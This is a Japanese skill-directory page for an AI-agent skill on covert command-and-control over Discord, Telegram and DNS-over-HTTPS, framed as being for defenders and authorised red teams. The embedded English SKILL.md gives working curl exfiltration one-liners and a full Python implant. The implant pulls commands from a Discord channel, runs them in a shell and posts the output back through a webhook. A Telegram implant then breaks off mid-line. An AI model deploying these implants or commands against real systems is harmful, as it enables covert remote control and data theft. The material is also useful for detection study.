c2-alternative-channels
できること
このガイドは、攻撃者が一般的なWebサービスを使い、普通に見えるリクエストの中に制御用の通信を隠す仕組みを説明します。許可された演習で、そのパターンを検知したりシミュレーションしたりしたい防御側とレッドチーム向けです。
使う場面
- ✓チャットやファイルのサービスへの通信が、隠れた経路として使われていないか確認したいとき。
- ✓防御側が検知の練習をできるよう、許可された演習で秘密の経路をシミュレーションする必要があるとき。
- ✓ネットワークのチームが、異常なDNSやWebサービスの通信に対するルールを求めているとき。
スキルのリンク
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/post-exploit/c2-alternative-channels/SKILL.mdコピーしてAI(Claude、ChatGPT、Cursor)に貼り付け、指示に従うよう頼んでください。
使い方
いちばん簡単な方法:メッセージをコピーしてAIに貼り付けるだけ。AIがスキルを読んで指示に従います。
貼り付け用メッセージ
Claude Code、Codex、Cursorの場合:プロジェクトのフォルダで実行するとスキルがインストールされます。
SKILL.mdをダウンロードして、エージェントのスキル用フォルダに入れてください。
AIへの頼み方の例
“メッセージングサービスやファイルサービスへの通信が、私たちのネットワーク上で制御コマンドを隠していないでしょうか。検知の確認計画を手伝ってください。”
毎週5つの新しいスキル。1分で読めます。
仕組み
エージェントは、チャットボットやDNSの問い合わせなど、通信経路の種類を説明します。そして、それらのサービスで異常な量やパターンを示すログとアラートを提案します。
技術的な内容(元のSKILL.md)
作者による元のテキスト(英語)をGitHubからそのまま表示しています。
Alternative C2 Channels
Non-traditional command-and-control channels leverage legitimate services as transport to evade network monitoring. By routing C2 through platforms that are whitelisted or too high-volume to block, operators bypass proxy inspection, domain reputation checks, and protocol-based detection.
Quick Reference
# Discord webhook C2 — post command output
curl -X POST -H "Content-Type: application/json" \
-d "{\"content\":\"$(whoami)\"}" \
"https://discord.com/api/webhooks/<WEBHOOK_ID>/<WEBHOOK_TOKEN>"
# Telegram bot C2 — poll for commands
curl -s "https://api.telegram.org/bot<BOT_TOKEN>/getUpdates" | jq '.result[-1].message.text'
# DNS-over-HTTPS exfil via Google
curl -s "https://dns.google/resolve?name=$(echo <DATA> | base64 | tr '+/' '-_').c2.<TARGET>&type=TXT"
MITRE ATT&CK Mapping
| Technique | ID | Usage in Skill |
|---|---|---|
| Web Service | T1102 | Discord, Telegram, cloud functions as C2 relay |
| Application Layer Protocol: DNS | T1071.004 | DNS-over-HTTPS for command/data tunneling |
| Application Layer Protocol: Mail Protocols | T1071.003 | IMAP/SMTP email-based C2 |
| Encrypted Channel | T1573 | TLS-wrapped comms to legitimate services |
1. Discord Webhook C2
Discord webhooks provide fire-and-forget output exfiltration. Combined with a bot that reads channel messages, this creates a full bidirectional C2 channel over HTTPS to discord.com — a domain almost never blocked.
Setup
# Create a Discord server and channel for C2
# Settings > Integrations > Webhooks > New Webhook
# Copy webhook URL: https://discord.com/api/webhooks/<ID>/<TOKEN>
# Create a bot for command input:
# https://discord.com/developers/applications > New Application > Bot
# Enable MESSAGE CONTENT intent
# Invite bot to server with Send Messages + Read Message History
Implant Logic (Python)
#!/usr/bin/env python3
"""Discord C2 implant — polls channel for commands, posts output via webhook."""
import requests, subprocess, time, json, os
WEBHOOK_URL = "https://discord.com/api/webhooks/<WEBHOOK_ID>/<WEBHOOK_TOKEN>"
BOT_TOKEN = "<BOT_TOKEN>"
CHANNEL_ID = "<CHANNEL_ID>"
HEADERS = {"Authorization": f"Bot {BOT_TOKEN}"}
SLEEP = 30
LAST_MSG_ID = None
def poll_command():
global LAST_MSG_ID
url = f"https://discord.com/api/v10/channels/{CHANNEL_ID}/messages?limit=1"
r = requests.get(url, headers=HEADERS)
if r.status_code != 200:
return None
msgs = r.json()
if not msgs:
return None
msg = msgs[0]
if msg["id"] == LAST_MSG_ID:
return None
LAST_MSG_ID = msg["id"]
return msg["content"]
def send_output(data):
# Discord message limit is 2000 chars; chunk if needed
for i in range(0, len(data), 1900):
chunk = data[i:i+1900]
requests.post(WEBHOOK_URL, json={"content": f"```\n{chunk}\n```"})
while True:
cmd = poll_command()
if cmd and cmd.startswith("!exec "):
try:
out = subprocess.check_output(
cmd[6:], shell=True, stderr=subprocess.STDOUT, timeout=30
).decode(errors="replace")
except subprocess.TimeoutExpired:
out = "[TIMEOUT]"
except Exception as e:
out = f"[ERROR] {e}"
send_output(out)
time.sleep(SLEEP)
OPSEC Notes
- All traffic goes to
discord.com:443— TLS-encrypted, CDN-hosted - Rate limit: ~5 requests/sec per webhook; space commands to avoid
429 - Bot token exposure = full channel compromise; rotate after engagement
- Discord logs message content — treat the channel as burned post-op
2. Telegram Bot C2
Telegram's Bot API provides reliable bidirectional C2 with built-in encryption, file transfer, and global CDN distribution.
Setup
# Create bot via @BotFather on Telegram:
# /newbot -> name -> username -> receive BOT_TOKEN
# Get chat ID:
curl -s "https://api.telegram.org/bot<BOT_TOKEN>/getUpdates" | jq '.result[0].message.chat.id'
Implant Logic (Python)
#!/usr/bin/env python3
"""Telegram Bot C2 — long-poll getUpdates, execute, reply."""
import requests, subprocess, time
BOT_TOKEN = "<BOT_TOKEN>"
CHAT_ID = "<CHAT_ID>"
API = f"https://api.telegram.org/bot{BOT_TOKEN}"
OFFSET = 0
SLEEP = 15
def poll():
global OFFSET
r = requests.get(f"{API}/getUpdates", params={"offset": OFFSET, "timeout": 30})
updates = r.json().get("result", [])
for u in updates:
OF
よくある質問
これらの経路はなぜ遮断しにくいのですか?
ガイドによると、多くの組織が許可しなければならない一般的なサービスを使うためです。
どの通信を監視すべきですか?
想定されていない、サーバーからチャット、ファイル、またはDNS over HTTPSサービスへの定期的な接続です。
許可された演習のためのものですか?
はい。これらの経路のシミュレーションには、書面で定めた範囲が必要です。
詳細
作者による元の説明
Non-traditional C2 channels — Discord/Telegram bots, DNS-over-HTTPS, blockchain-based C2, email-based C2, and cloud function dead drops for covert command and control.
人気
- GitHubのスター
- 6.5k
- ランキング
- #14126
- ライセンス
- Apache-2.0
- 更新日
- 2026/11/1
コメント
- …
このリポジトリの他のスキル
detector-overview
6.5kエージェントが、スキャナーが指摘したコードを読み、本物のセキュリティバグと誤検知を見分けられるよう支援します。
exploiter-overview
6.5kエージェントが、確認済みの複数のセキュリティ上の弱点を一つのテストの連鎖にまとめ、その影響がどこまで及ぶかを確認できるよう支援します。
llm-redteam-overview
6.5kエージェントが、プロンプトインジェクションからモデルの悪用まで、15の戦術グループの中から適切なAIレッドチーム用ガイドを見つけられるよう支援します。
aatmf-t01-prompt-injection
6.5kプロンプトインジェクションを説明します。隠された指示でAIシステムを乗っ取ろうとする手口を、セキュリティテスターが確認できるようにします。
似ているスキル
reverse-engineer-anything
422kREAツールを使って、出荷済みのアプリやパッケージの中身を調べ、機能の説明、版の比較、再構築の手順をエージェントが支援します。
1password
394k1Password CLIをセットアップし、サインインして、秘密情報の値を会話に表示せずに読み取ったり注入したりするようエージェントを支援します。
healthcheck
394kOpenClawを動かすコンピューターやサーバーを、SSH、ファイアウォール、更新、バックアップなどのセキュリティリスクについて監査し、安全な修正案を提案するようエージェントを支援します。